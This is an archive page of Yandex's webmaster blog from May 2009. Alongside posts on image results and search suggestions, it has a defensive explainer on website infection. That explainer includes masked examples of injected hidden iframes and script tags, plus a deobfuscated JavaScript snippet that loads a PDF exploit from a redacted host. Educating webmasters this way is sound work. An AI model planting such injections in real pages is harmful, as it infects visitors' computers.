Блог Яндекса для вебмастеров

май 2009
Яндекс сообщает веб-мастерам о заражении сайтов
19 мая 2009, 18:46

Яндекс начал оповещать веб-мастеров о том, что на страницах их сайтов обнаружен код, который может нанести ущерб посетителям. Его выполнение приводит, как правило, к заражению вирусами, присоединению компьютеров к бот-сетям, краже паролей и других личных данных.

Опасный элемент может появиться на сайте и без ведома его владельца. Проявления кода могут долгое время оставаться незамеченными. Выявить вредоносный элемент часто можно только при детальном изучении кода сайта. Яндекс проверяет сайты на наличие в них опасных элементов, используя технологии своего партнера - компании Sophos ®.

О том, как вредоносный код попадает на сайты и как его найти, можно прочитать в разделе "Помощь". Сразу после его удаления можно запросить перепроверку сайта. Однако, если на сайте был обнаружен такой код, необходимо не только удалить его, но и устранить проблему в системе безопасности сайта.


Группа пролетарского гнева компании Яндекс

26 комментариев
безопасность,вирусы,Я.Вебмастер
Арзамас-4
20 мая 2009, 21:03

Продолжаем рассказ о новой версии поисковой программы.


Ежедневно Яндекс отвечает пользователям на более чем 50 миллионов запросов. Эти запросы очень разнообразны и нередко лучшим ответом на них являются не веб-документы, а изображения. По таким запросам (мы называем их картиночными) Яндекс начал показывать картинки над результатами веб-поиска.  Например, по запросу портрет Юрия Гагарина пользователи сразу видят портреты космонавта:




Картинки в результатах поиска показывались и раньше: с 2001 года после запуска сервиса Яндекс.Картинки справа от результатов веб-поиска пользователи стали получать картиночный ответ на свой запрос. Но далеко не по всем запросам можно найти соответствующие изображения. Поэтому нам было важно показать те из них, которые дают самый полезный ответ, и сделать эти изображения более заметными среди результатов поиска.

Некоторые виды информации, такие как схемы (например, схемы вышивания) и карты (например, физическая карта Европы), интересны, прежде всего, в виде изображений. Также нашим пользователям нравятся фотографии известных людей: Оксана Акиньшина, Анджелина Джоли и исторических персонажей: Александр Невский, Иван Грозный. Многим любопытно узнать, как выглядят известные памятники архитектуры: Тадж Махал, Мачу-Пикчу и интересные места на Земле: рисунки пустыни Наска или за ее пределами: кольца Сатурна. И, наконец, красивые виды и чудеса природы просто приятно созерцать, и теперь они тоже украшают результаты поиска.  Например, это весна, тюльпаны или закат. Мы постарались удовлетворить эту потребность и помочь тем, кто еще не пришел искать в Яндекс.Картинки.

Как определить, что по запросу пользователь хотел увидеть именно картинки?


  • Если в запросе есть слова-маркеры, например, "фото" или "картинки", то в большинстве случаев ищется изображение: [фото машин], [картинка слона] (но не всегда: например, по запросу [курсы фото] ищутся адреса и сайты компаний, обучающих искусству фотографии). С помощью маркеров выделяется небольшой класс картиночных запросов -- менее 10% от их общего количества.
  • Популярные запросы, которые относительно часто ищут в Картинках, но редко в веб-поиске.
  • Запросы, по которым пользователи переходили с веб-поиска на поиск картинок. Выяснилось, что по таким запросам есть два устойчивых паттерна поведения. Пользователи либо быстро уходят по ссылкам на сайты с понравившимися им картинками, либо долго задерживаются на картиночном поиске, рассматривая и выбирая интересующие их изображения. Это третий способ определения картиночных запросов.


Сами изображения проходят строгий автоматический отбор для того, чтобы попасть в колдунщик над результатами поиска. Одним из критериев является релевантность текстового описания картинки заданному запросу. Имеет значение и размер изображения: маленькие картинки не представляют интереса для большинства пользователей.


Иногда случается так, что по картиночным запросам Яндекс.Картинки уступают право ответа другим сервисам Яндекса. Например, по запросу [карта Москвы] в Картинках есть много хороших изображений карт, а по запросу [открытка к 8 марта] -- много красивых открыток, но вместо изображений над результатами поиска показываются ответы сервисов Яндекс.Карты и Яндекс.Открытки. Они не только дополняют ответ изображением, но и предоставляют много полезной информации и возможностей.


В итоге мы выделили хорошие картиночные запросы, по которым показываем изображения над результатами поиска. Сейчас они показываются по 2% запросов, и мы продолжаем работать над тем, чтобы сделать ответ Яндекса пользователям более полным и качественным.


Надя Пономарева и команда Яндекс.Картинок

37 комментариев
Арзамас
Как рождались поисковые подсказки: эпизод случайный
25 мая 2009, 17:52

Лирическая история о поисковых подсказках в поиске Яндекса началась в 2008 году. А рассказать хочу я о том, что многие идеи в поиске -- не результат научных изысканий и логического вывода, а рождаются из творческого озарения.

Список выпадающих запросов (autocomplete) браузеры предлагали давно, запоминая то, что пользователь вводил раньше. Наша служба поддержки хорошо знает эту функциональность, ведь один самых распространенных вопросов до недавного времени был: "Как убрать запросы до того, как их увидит моя жена?" Поэтому идея помочь пользователю выбрать запрос на основе статистики обращений к Яндексу не была новой и тайной (подсказки работали на главной странице Google, в поиске Yahoo), но казалась нам разумной и полезной. Сделали прототип.

В прототипе рядом в списке запросов, рядом с каждым из них, было написано количество найденных результатов. Зачем? Такова уж философия продукта у многих программистов -- если данные есть, их надо показать. :) Подхожу к Леше Байтину, одному из ответственных за проект, и убеждаю, что числа не нужны, они запутывают и непонятны пользователю. Коридорный опрос тут же подверждает это -- в лучшем случае число найденного принимали за популярность запроса. "Хорошо", -- говорит Леша, -- "а что вместо чисел? Остается слишком много пустого пространства". Я задумался, Леша был прав. "Придумал -- адреса лучших сайтов по запросу!" Но тут же понял, что далеко не каждый запрос подразумевает один URL. Так постепенно мы перешли на обсуждение навигационной подсказки, ее дизайна и, в конечном счете, сделали ее к запуску.

Дизайн рождался тоже не сразу, вначале это было так:


И только потом пришло к существующему сейчас виду:


Есть миф, что поисковые системы тестируют все-все-все изменения в интерфейсах и поиске, даже мельчайшие. Они стараются тестировать. Иногда это бессмысленно (нет никаких статистически достоверных показателей, которые скажут, стало лучше или хуже), иногда требует неоправданно много времени или усилий. У нас нет задачи заниматься псевдонаучной деятельностью и в ряде случаев мы полагаемся на здравый смысл. Например, мы понимали, что пользователям станет удобней -- меньше работы как минимум на два клика, хотя и не могли посчитать точную экономию. Предполагали, что появление навигационной подсказки может привести к снижению доходов от рекламы по таким запросам. Но оценить заранее, что будет больше, снижение дохода по этим запросам или увеличение по другим, оттого что пользователям стало лучше на Яндексе и они стали больше и чаще искать, мы не могли. И положились на интуицию: "хорошо пользователям -- хорошо нам".

Прошло совсем немного времени и такую же навигационную подсказку выпустила молодая искалка Cuil:


А полгода спустя Google внедрил сразу несколько аналогичных решений с поисковой подсказкой:

  • добавил навигационные подсказки,
  • показал подсказки в результатах поиска на google.com (раньше были только на главной странице),
  • убрал количество найденного напротив запросов.

Приятно, когда здравый смысл сходится в одну точку!

Но за мелкими штрихами вокруг поисковых подсказок случилось одно важное изменение. Вместо маленькой помощи в наборе запроса поисковые подсказки сместили фокус действия на шаг раньше, в поисковую строку. Пользователь еще не увидел результаты поиска, а ему уже дается ответ. В крайнем своем проявлении этот тренд приводит к тому, что страница результатов поиска не нужна вовсе. Восхищенная перспективами такой парадигмы, российская поисковая система Нигма соорудила из поисковых подсказок настоящий пепелац, который с гордостью за Россию я вам демонстрирую:


Друзья-подсказочники, удачного всем полета, а пользователям -- хороших подсказок!


Александр Садовский, подсказочник


27 комментариев
интерфейсы
Безопасный поиск от Яндекса
26 мая 2009, 10:45

Вы думаете заразиться сложно? Для этого достаточно зайти на веб-страницу с вредоносным кодом и...


Последние несколько лет вирусы чаще всего распространяются именно через веб-сайты. Яндекс хочет защитить своих пользователей от растущей вирусной угрозы и теперь помечает опасные сайты в результатах поиска.
 

Информация к размышлению
 
По данным компании Sophos ®, в 2008 году каждые 4,5 секунды обнаруживалась зараженная веб-страница, каждый день создавалось несколько сайтов, распространяющих фальшивые антивирусы. С ростом популярности социальных сетей количество электронных сообщений с вредоносными вложениями увеличилось в 5 раз. Сейчас каждый месяц обнаруживается несколько новых модификаций вируса подмены страниц. При этом каждый десятый сайт, распространяющий вредоносное ПО, хостится в России. Очевидно, при таких темпах распространения угрозы безопасность пользователей поиска скоро станет базовой функциональностью поисковых систем. Антивирусные компании прогнозируют продолжение бурного роста количества сайтов с вредоносным кодом.

По данным Яндекса, еженедельно пользователи совершали более 2 миллионов переходов из результатов поиска на сайты, содержащие страницы с вредоносным кодом.


Как получают доступ к сайту
 
Часто вредоносными становятся обычные сайты, веб-мастера которых не уделили достаточного внимания вопросам информационной безопасности.  Для сайтов с высокой посещаемостью злоумышленники могут выполнять целенаправленный анализ и поиск уязвимостей с целью обойти защиту и получить возможность изменить содержимое. Иногда их целью становятся баннерные сети или счетчики. Взлом подобных систем позволяет автоматически распространить вредоносный код по всем страницам с этими баннерами или счетчиками.

 

Есть и другие схемы заражения страниц, самые распространенные из которых в общих чертах описаны ниже.

Очень часто для администрирования (обновления, добавления, удаления страниц и изображений) используется FTP-доступ к серверу, на котором расположен веб-сайт. Злоумышленники занимаются подбором паролей или кражей учетных записей FTP на зараженных компьютерах веб-мастеров. Для подбора паролей специальная программа обходит серверы в интернете и пытается соединиться по протоколу FTP, указывая наиболее типичные логины и пароли из "словаря" часто используемых или перебирая варианты. До сих пор веб-мастера используют "слабые" пароли и такой метод все еще позволяет собирать учетные записи.
 
Также учетные записи могут быть украдены трояном, заразившим компьютер веб-мастера. Троян знает, где популярные программы сохраняют логины и пароли для доступа и считывает конфигурационные файлы или записи реестра и отправляет их на сервер злоумышленников. Кроме этого, он может "прихватить" пароли ICQ и социальных сетей, другие конфиденциальные данные. Злоумышленники, старающиеся распространить зловредный код, могут как собирать базу паролей самостоятельно, так и покупать данные для доступа к сайту на черном рынке.
 
Как происходит заражение сайта
 
Специальная программа заходит на каждый сервер из базы с помощью похищенного логина и пароля. Там она ищет файлы стандартные для большинства веб-сайтов, например, 'index.php', 'index.asp', 'index.html' и т.д., и меняет их содержимое так, чтобы отображение такой страницы на пользовательском компьютере могло вызвать его заражение.
 
Так как списки для FTP доступа могут многократно перепродаваться на закрытых форумах, заражение одних и тех же сайтов может  происходить разными вирусами и не один раз.


Как выглядит вредоносный код
 
Примеры. Вредоносный код может добавлять к страницам такие конструкции:
 

<iframe src="http: //****-*******.net/?click=12078406" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>


или
 

<script src=http: //www.****.ru/script.js></script>


или такой
 

<object  data='http: //***.name/in.cgi?2 ' type='text/html'  style='display:none'></object>

 
А баннерная система для взрослых может использовать такой код:
 

<script language="javascript">
var xxxwidth= 300;
var xxxheight= 100;
var xxxbgcolor= '';
var xxxcolor= 'blue';
var xxxsize= 16;
var xxxcount= 5;
</script>
<script language="javascript" src="http: //*****-*****.ru/load.php?id=330"></script>

 
Маскировка вредоносного кода
 
Часто авторы кода стараются затруднить его анализ и обнаружение, используя специальные техники, называемые обфускацией (от англ. obfuscation). Это может выглядеть так:




Заражение компьютера пользователя
 
Почему происходит заражение? Казалось бы, страница просто загружается браузером и отображается. Если бы в программах не было ошибок, то загрузка и отображение были бы всегда безопасными действиями. К сожалению, такие ошибки (уязвимости) есть, они и используются злоумышленниками. Хотя компании регулярно выпускают обновления для своих продуктов, злоумышленники постоянно исследуют их в поиске новых уязвимостей.
 
Вредоносный код на загружаемой пользователем странице, выполняясь, использует уязвимости приложений, что позволяет злоумышленникам получить полный контроль над атакуемым компьютером. Специально написанная для этого программа или скрипт называется эксплойт (от англ. exploit). Эксплойты для разных типов уязвимостей объединяют в наборы (exploit packs) для повышения вероятности заражения компьютера жертвы. Для атаки используются уязвимости как в самом браузере, так и в других приложениях и дополнениях (например, в плагинах для просмотра PDF и flash).


Как на этом зарабатывают
 
Очень часто код, внедренный в страницу сайта, перенаправляет пользователя на эксплойт или рекламный сайт не напрямую, а через специальный сервер злоумышленников, который называют Traffic Distribution System (TDS). Задача этой системы -- "перебрасывать" пользователей дальше и собирать статистику в зависимости от характеристик атакуемого компьютера. Например, TDS может анализировать версию используемого браузера и направлять пользователя на систему с вредоносным кодом, где есть эксплойт для его версии.

Если код эксплойта получил контроль над компьютером пользователя, то он выполняет загрузку и исполнение основной части вируса. Эта часть остается активной на компьютере жертвы и может выполнять множество вредоносных действий. Например, собирать имена и пароли для FTP и других установленных программ и отправлять их злоумышленникам. Или же использовать их для дальнейшего заражения сайтов. Или показывать пользователю рекламу, подменять результаты поисковых систем. Следить за действиями пользователя и "коллекционировать" учетные записи для популярных сайтов или online-банков. Часто различные зловредные модули могут объединяться, а компьютер включаться в сеть из инфицированных систем (бот-сеть), контролируемых злоумышленниками. Крупнейшие ботнеты в мире насчитывают  миллионы "зомбированных" компьютеров. Продажа услуг такой сети -- еще одна статья дохода злоумышленников. Бот-сеть может использоваться для рассылки спама или организации DDoS-атак.

Пример
 
Рассмотрим код, который можно встретить в зараженной баннерной системе или на popunder-баннере. Казалось бы, "безобидный" код
 

<script language="javascript" src="http: //*****-*****.ru/load.php?id=330"></script>


кроме показа баннера вставляет на страницу и такой код
 

<iframe src="http: //************.com/tds/in.cgi?13" frameborder=0 width=0 height=0></iframe>


Если открыть эту страницу в Firefox 3.0.10, то после выполнения кода баннерной системы браузер пользователя автоматически перейдет по ссылке, указанной в IFRAME, а ссылка приведет на TDS злоумышленников. В ответ от TDS браузер получает автоматическое перенаправление на следующий сайт, где расположен эксплойт, учитывающий версию браузера. Он рассчитан на уязвимость в Adobe Acrobat Reader и приводится в действие обфусцированным кодом, который в расшифрованном виде выглядит так:
 

function pdf() { var my_div = document.createElement("div"); my_div.innerHTML = "<object data=\"http: //****.org/spl/pdf.php\" type=\"application/pdf\" width=100 height=100></object>"; document.body.appendChild(my_div); } pdf();

 
Послесловие
 
Задачи по борьбе с вирусами появились в Яндексе около года назад. Мы надеемся, что наш поиск, став более безопасным, снизит темпы распространения вредоносных программ в Рунете.
 

Группа пролетарского гнева компании Яндекс

52 комментария
пролетарский гнев,безопасность,вирусы